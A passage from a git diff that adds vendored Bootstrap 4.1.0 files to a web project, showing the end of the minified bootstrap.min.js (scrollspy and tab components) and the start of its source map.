"'+n+'"');t[n]()}})},o(i,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return Re}},{key:"NAME",get:function(){return Ne}},{key:"DATA_KEY",get:function(){return Oe}},{key:"Event",get:function(){return Ke}},{key:"EVENT_KEY",get:function(){return ke}},{key:"DefaultType",get:function(){return He}}]),i}(Nn),we.fn[Ne]=Fe._jQueryInterface,we.fn[Ne].Constructor=Fe,we.fn[Ne].noConflict=function(){return we.fn[Ne]=Pe,Fe._jQueryInterface},Fe),kn=(Qe="scrollspy",Ye="."+(Be="bs.scrollspy"),Ge=(Ve=e).fn[Qe],qe={offset:10,method:"auto",target:""},ze={offset:"number",method:"string",target:"(string|element)"},Xe={ACTIVATE:"activate"+Ye,SCROLL:"scroll"+Ye,LOAD_DATA_API:"load"+Ye+".data-api"},Je="dropdown-item",Ze="active",$e={DATA_SPY:'[data-spy="scroll"]',ACTIVE:".active",NAV_LIST_GROUP:".nav, .list-group",NAV_LINKS:".nav-link",NAV_ITEMS:".nav-item",LIST_ITEMS:".list-group-item",DROPDOWN:".dropdown",DROPDOWN_ITEMS:".dropdown-item",DROPDOWN_TOGGLE:".dropdown-toggle"},tn="offset",en="position",nn=function(){function n(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" "+$e.NAV_LINKS+","+this._config.target+" "+$e.LIST_ITEMS+","+this._config.target+" "+$e.DROPDOWN_ITEMS,this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,Ve(this._scrollElement).on(Xe.SCROLL,function(t){return n._process(t)}),this.refresh(),this._process()}var t=n.prototype;return t.refresh=function(){var e=this,t=this._scrollElement===this._scrollElement.window?tn:en,r="auto"===this._config.method?t:this._config.method,s=r===en?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),Ve.makeArray(Ve(this._selector)).map(function(t){var e,n=Cn.getSelectorFromElement(t);if(n&&(e=Ve(n)[0]),e){var i=e.getBoundingClientRect();if(i.width||i.height)return[Ve(e)[r]().top+s,n]}return null}).filter(function(t){return t}).sort(function(t,e){return t[0]-e[0]}).forEach(function(t){e._offsets.push(t[0]),e._targets.push(t[1])})},t.dispose=function(){Ve.removeData(this._element,Be),Ve(this._scrollElement).off(Ye),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},t._getConfig=function(t){if("string"!=typeof(t=h({},qe,t)).target){var e=Ve(t.target).attr("id");e||(e=Cn.getUID(Qe),Ve(t.target).attr("id",e)),t.target="#"+e}return Cn.typeCheckConfig(Qe,t,ze),t},t._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},t._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},t._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},t._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),n<=t){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t<this._offsets[0]&&0<this._offsets[0])return this._activeTarget=null,void this._clear();for(var r=this._offsets.length;r--;){this._activeTarget!==this._targets[r]&&t>=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||t<this._offsets[r+1])&&this._activate(this._targets[r])}}},t._activate=function(e){this._activeTarget=e,this._clear();var t=this._selector.split(",");t=t.map(function(t){return t+'[data-target="'+e+'"],'+t+'[href="'+e+'"]'});var n=Ve(t.join(","));n.hasClass(Je)?(n.closest($e.DROPDOWN).find($e.DROPDOWN_TOGGLE).addClass(Ze),n.addClass(Ze)):(n.addClass(Ze),n.parents($e.NAV_LIST_GROUP).prev($e.NAV_LINKS+", "+$e.LIST_ITEMS).addClass(Ze),n.parents($e.NAV_LIST_GROUP).prev($e.NAV_ITEMS).children($e.NAV_LINKS).addClass(Ze)),Ve(this._scrollElement).trigger(Xe.ACTIVATE,{relatedTarget:e})},t._clear=function(){Ve(this._selector).filter($e.ACTIVE).removeClass(Ze)},n._jQueryInterface=function(e){return this.each(function(){var t=Ve(this).data(Be);if(t||(t=new n(this,"object"==typeof e&&e),Ve(this).data(Be,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},o(n,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return qe}}]),n}(),Ve(window).on(Xe.LOAD_DATA_API,function(){for(var t=Ve.makeArray(Ve($e.DATA_SPY)),e=t.length;e--;){var n=Ve(t[e]);nn._jQueryInterface.call(n,n.data())}}),Ve.fn[Qe]=nn._jQueryInterface,Ve.fn[Qe].Constructor=nn,Ve.fn[Qe].noConflict=function(){return Ve.fn[Qe]=Ge,nn._jQueryInterface},nn),Pn=(on="."+(sn="bs.tab"),an=(rn=e).fn.tab,ln={HIDE:"hide"+on,HIDDEN:"hidden"+on,SHOW:"show"+on,SHOWN:"shown"+on,CLICK_DATA_API:"click"+on+".data-api"},hn="dropdown-menu",cn="active",un="disabled",fn="fade",dn="show",_n=".dropdown",gn=".nav, .list-group",mn=".active",pn="> li > .active",vn='[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',En=".dropdown-toggle",yn="> .dropdown-menu .active",Tn=function(){function i(t){this._element=t}var t=i.prototype;return t.show=function(){var n=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&rn(this._element).hasClass(cn)||rn(this._element).hasClass(un))){var t,i,e=rn(this._element).closest(gn)[0],r=Cn.getSelectorFromElement(this._element);if(e){var s="UL"===e.nodeName?pn:mn;i=(i=rn.makeArray(rn(e).find(s)))[i.length-1]}var o=rn.Event(ln.HIDE,{relatedTarget:this._element}),a=rn.Event(ln.SHOW,{relatedTarget:i});if(i&&rn(i).trigger(o),rn(this._element).trigger(a),!a.isDefaultPrevented()&&!o.isDefaultPrevented()){r&&(t=rn(r)[0]),this._activate(this._element,e);var l=function(){var t=rn.Event(ln.HIDDEN,{relatedTarget:n._element}),e=rn.Event(ln.SHOWN,{relatedTarget:i});rn(i).trigger(t),rn(n._element).trigger(e)};t?this._activate(t,t.parentNode,l):l()}}},t.dispose=function(){rn.removeData(this._element,sn),this._element=null},t._activate=function(t,e,n){var i=this,r=("UL"===e.nodeName?rn(e).find(pn):rn(e).children(mn))[0],s=n&&r&&rn(r).hasClass(fn),o=function(){return i._transitionComplete(t,r,n)};if(r&&s){var a=Cn.getTransitionDurationFromElement(r);rn(r).one(Cn.TRANSITION_END,o).emulateTransitionEnd(a)}else o()},t._transitionComplete=function(t,e,n){if(e){rn(e).removeClass(dn+" "+cn);var i=rn(e.parentNode).find(yn)[0];i&&rn(i).removeClass(cn),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(rn(t).addClass(cn),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),Cn.reflow(t),rn(t).addClass(dn),t.parentNode&&rn(t.parentNode).hasClass(hn)){var r=rn(t).closest(_n)[0];r&&rn(r).find(En).addClass(cn),t.setAttribute("aria-expanded",!0)}n&&n()},i._jQueryInterface=function(n){return this.each(function(){var t=rn(this),e=t.data(sn);if(e||(e=new i(this),t.data(sn,e)),"string"==typeof n){if("undefined"==typeof e[n])throw new TypeError('No method named "'+n+'"');e[n]()}})},o(i,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),i}(),rn(document).on(ln.CLICK_DATA_API,vn,function(t){t.preventDefault(),Tn._jQueryInterface.call(rn(this),"show")}),rn.fn.tab=Tn._jQueryInterface,rn.fn.tab.Constructor=Tn,rn.fn.tab.noConflict=function(){return rn.fn.tab=an,Tn._jQueryInterface},Tn);!function(t){if("undefined"==typeof t)throw new TypeError("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var e=t.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1===e[0]&&9===e[1]&&e[2]<1||4<=e[0])throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}(e),t.Util=Cn,t.Alert=In,t.Button=An,t.Carousel=Dn,t.Collapse=bn,t.Dropdown=Sn,t.Modal=wn,t.Popover=On,t.Scrollspy=kn,t.Tab=Pn,t.Tooltip=Nn,Object.defineProperty(t,"__esModule",{value:!0})}); +//# sourceMappingURL=bootstrap.min.js.map \ No newline at end of file diff --git a/public/js/bootstrap.min.js.map b/public/js/bootstrap.min.js.map new file mode 100644 index 0000000..2cbfeac --- /dev/null +++ b/public/js/bootstrap.min.js.map @@ -0,0 +1 @@ +{"version":3,"sources":["../../rollupPluginBabelHelpers","../../js/src/util.js","../../js/src/alert.js","../../js/src/button.js","../../js/src/carousel.js","../../js/src/collapse.js","../../js/src/dropdown.js","../../js/src/modal.js","../../js/src/tooltip.js","../../js/src/popover.js","../../js/src/scrollspy.js","../../js/src/tab.js","../../js/src/index.js"],"names":["_defineProperties","target","props","i","length","descriptor","enumerable","configurable","writable","Object","defineProperty","key","_createClass","Constructor","protoProps","staticProps","prototype","_objectSpread","arguments","source","ownKeys","keys","getOwnPropertySymbols","concat","filter","sym","getOwnPropertyDescriptor","forEach","obj","value","$","NAME","DATA_KEY","EVENT_KEY","JQUERY_NO_CONFLICT","Event","ClassName","Alert","DATA_API_KEY","Selector","Button","Default","DefaultType","Direction","Carousel","Dimension","Collapse","REGEXP_KEYDOWN","AttachmentMap","Dropdown","Modal","CLASS_PREFIX","BSCLS_PREFIX_REGEX","HoverState","Trigger","Tooltip","Popover","OffsetMethod","ScrollSpy","Tab","Util","TRANSITION_END","transitionEndEmulator","duration","_this","this","called","one","setTimeout","triggerTransitionEnd","getUID","prefix","Math","random","document","getElementById","getSelectorFromElement","element","selector","getAttribute","find","err","getTransitionDurationFromElement","transitionDuration","css","parseFloat","split","reflow","offsetHeight","trigger","supportsTransitionEnd","Boolean","isElement","nodeType","typeCheckConfig","componentName","config","configTypes","property","hasOwnProperty","call","expectedTypes","valueType","toString","match","toLowerCase","RegExp","test","Error","toUpperCase","fn","emulateTransitionEnd","event","special","bindType","delegateType","handle","is","handleObj","handler","apply","CLOSE","CLOSED","CLICK_DATA_API","_element","_proto","close","rootElement","_getRootElement","_triggerCloseEvent","isDefaultPrevented","_removeElement","dispose","removeData","parent","closest","closeEvent","removeClass","hasClass","_destroyElement","detach","remove","_jQueryInterface","each","$element","data","_handleDismiss","alertInstance","preventDefault","get","on","noConflict","FOCUS_BLUR_DATA_API","toggle","triggerChangeEvent","addAriaPressed","input","type","checked","activeElement","hasAttribute","classList","contains","focus","setAttribute","toggleClass","button","interval","keyboard","slide","pause","wrap","SLIDE","SLID","KEYDOWN","MOUSEENTER","MOUSELEAVE","TOUCHEND","LOAD_DATA_API","ACTIVE","ACTIVE_ITEM","ITEM","NEXT_PREV","INDICATORS","DATA_SLIDE","DATA_RIDE","_items","_interval","_activeElement","_isPaused","_isSliding","touchTimeout","_config","_getConfig","_indicatorsElement","_addEventListeners","next","_slide","nextWhenVisible","hidden","prev","cycle","clearInterval","setInterval","visibilityState","bind","to","index","activeIndex","_getItemIndex","direction","off","_this2","_keydown","documentElement","clearTimeout","tagName","which","makeArray","indexOf","_getItemByDirection","isNextDirection","isPrevDirection","lastItemIndex","itemIndex","_triggerSlideEvent","relatedTarget","eventDirectionName","targetIndex","fromIndex","slideEvent","from","_setActiveIndicatorElement","nextIndicator","children","addClass","directionalClassName","orderClassName","_this3","activeElementIndex","nextElement","nextElementIndex","isCycling","slidEvent","action","TypeError","_dataApiClickHandler","slideIndex","window","$carousel","SHOW","SHOWN","HIDE","HIDDEN","ACTIVES","DATA_TOGGLE","_isTransitioning","_triggerArray","id","tabToggles","elem","_selector","push","_parent","_getParent","_addAriaAndCollapsedClass","hide","show","actives","activesData","not","startEvent","dimension","_getDimension","style","attr","setTransitioning","scrollSize","slice","getBoundingClientRect","isTransitioning","jquery","_getTargetFromElement","triggerArray","isOpen","$this","currentTarget","$trigger","$target","ARROW_UP_KEYCODE","CLICK","KEYDOWN_DATA_API","KEYUP_DATA_API","offset","flip","boundary","reference","display","_popper","_menu","_getMenuElement","_inNavbar","_detectNavbar","disabled","_getParentFromElement","isActive","_clearMenus","showEvent","Popper","referenceElement","_getPopperConfig","body","noop","destroy","update","scheduleUpdate","stopPropagation","constructor","_getPlacement","$parentDropdown","placement","offsetConf","offsets","popperConfig","modifiers","enabled","preventOverflow","boundariesElement","applyStyle","toggles","context","dropdownMenu","hideEvent","parentNode","_dataApiKeydownHandler","items","e","backdrop","FOCUSIN","RESIZE","CLICK_DISMISS","KEYDOWN_DISMISS","MOUSEUP_DISMISS","MOUSEDOWN_DISMISS","DIALOG","DATA_DISMISS","FIXED_CONTENT","STICKY_CONTENT","NAVBAR_TOGGLER","_dialog","_backdrop","_isShown","_isBodyOverflowing","_ignoreBackdropClick","_scrollbarWidth","_checkScrollbar","_setScrollbar","_adjustDialog","_setEscapeEvent","_setResizeEvent","_showBackdrop","_showElement","transition","_hideModal","handleUpdate","Node","ELEMENT_NODE","appendChild","removeAttribute","scrollTop","_enforceFocus","shownEvent","transitionComplete","_this4","has","_this5","_this6","_this7","_resetAdjustments","_resetScrollbar","_removeBackdrop","callback","_this8","animate","createElement","className","appendTo","backdropTransitionDuration","callbackRemove","isModalOverflowing","scrollHeight","clientHeight","paddingLeft","paddingRight","rect","left","right","innerWidth","_getScrollbarWidth","_this9","actualPadding","calculatedPadding","actualMargin","marginRight","calculatedMargin","padding","margin","scrollDiv","scrollbarWidth","width","clientWidth","removeChild","_this10","animation","template","title","delay","html","AUTO","TOP","RIGHT","BOTTOM","LEFT","container","fallbackPlacement","INSERTED","FOCUSOUT","_isEnabled","_timeout","_hoverState","_activeTrigger","tip","_setListeners","enable","disable","toggleEnabled","dataKey","_getDelegateConfig","click","_isWithActiveTrigger","_enter","_leave","getTipElement","isWithContent","isInTheDom","ownerDocument","tipId","setContent","attachment","_getAttachment","addAttachmentClass","behavior","arrow","onCreate","originalPlacement","_handlePopperPlacementChange","onUpdate","complete","_fixTransition","prevHoverState","_cleanTipClass","getTitle","$tip","setElementContent","content","empty","append","text","eventIn","eventOut","_fixTitle","titleType","tabClass","join","initConfigAnimation","_Tooltip","subClass","superClass","create","__proto__","_getContent","method","ACTIVATE","SCROLL","DATA_SPY","NAV_LIST_GROUP","NAV_LINKS","NAV_ITEMS","LIST_ITEMS","DROPDOWN","DROPDOWN_ITEMS","DROPDOWN_TOGGLE","_scrollElement","_offsets","_targets","_activeTarget","_scrollHeight","_process","refresh","autoMethod","offsetMethod","offsetBase","_getScrollTop","_getScrollHeight","map","targetSelector","targetBCR","height","top","item","sort","a","b","pageYOffset","max","_getOffsetHeight","innerHeight","maxScroll","_activate","_clear","queries","$link","parents","scrollSpys","$spy","previous","listElement","itemSelector","nodeName","hiddenEvent","active","_transitionComplete","dropdownChild","dropdownElement","version"],"mappings":"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